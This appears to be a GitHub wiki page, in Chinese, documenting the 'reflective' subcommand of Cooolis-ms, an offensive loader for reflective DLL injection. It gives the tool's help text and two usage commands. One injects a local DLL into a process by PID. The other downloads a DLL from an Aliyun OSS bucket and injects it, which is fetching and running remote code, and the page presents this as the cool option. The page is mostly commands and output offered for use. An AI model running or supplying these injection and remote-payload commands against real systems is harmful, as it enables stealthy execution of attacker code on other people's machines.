Skip to content

module reflective

倾旋 edited this page Oct 12, 2020 · 1 revision

基本说明

[~\Documents\Cooolis-ms\Cooolis-ms-Loader\Release]> .\Cooolis-ms.exe reflective -h
Reflective DLL injection
Usage: C:\Users\Administrator\Documents\Cooolis-ms\Cooolis-ms-Loader\Release\Cooolis-ms.exe reflective [OPTIONS]

Options:
  -h,--help                   Print this help message and exit
  -f,--file TEXT:FILE         Reflective DLL Path
  -u,--uri TEXT               Reflective DLL URI
  -b,--bucket TEXT            Reflective DLL OSS Bucket
  -p,--pid UINT=17640         Reflective Inject Process Id

reflective子命令目前有两种使用方式:

  • 从本地注入反射DLL
  • 从阿里云OSS服务器上获取反射DLL进行注入 (这个比较酷)

从本地注入反射DLL

[~\Documents\Cooolis-ms\Cooolis-ms-Loader\Release]> .\Cooolis-ms.exe reflective -f .\reflective86.dll
[+] Injected the .\reflective86.dll DLL into process : 104

从阿里云OSS服务器上获取反射DLL进行注入(这个比较酷)

Cooolis-ms.exe reflective -u /reflective86.dll -b bucketname.oss.aliyuncs.cn

注意:默认-p参数值为当前进程PID

编写自己的反射DLL

关于其他

如果你觉得这个项目不错,请给我一个Star~

issue

我要提交建议或问题

LICENSE

GNU General Public License v3.0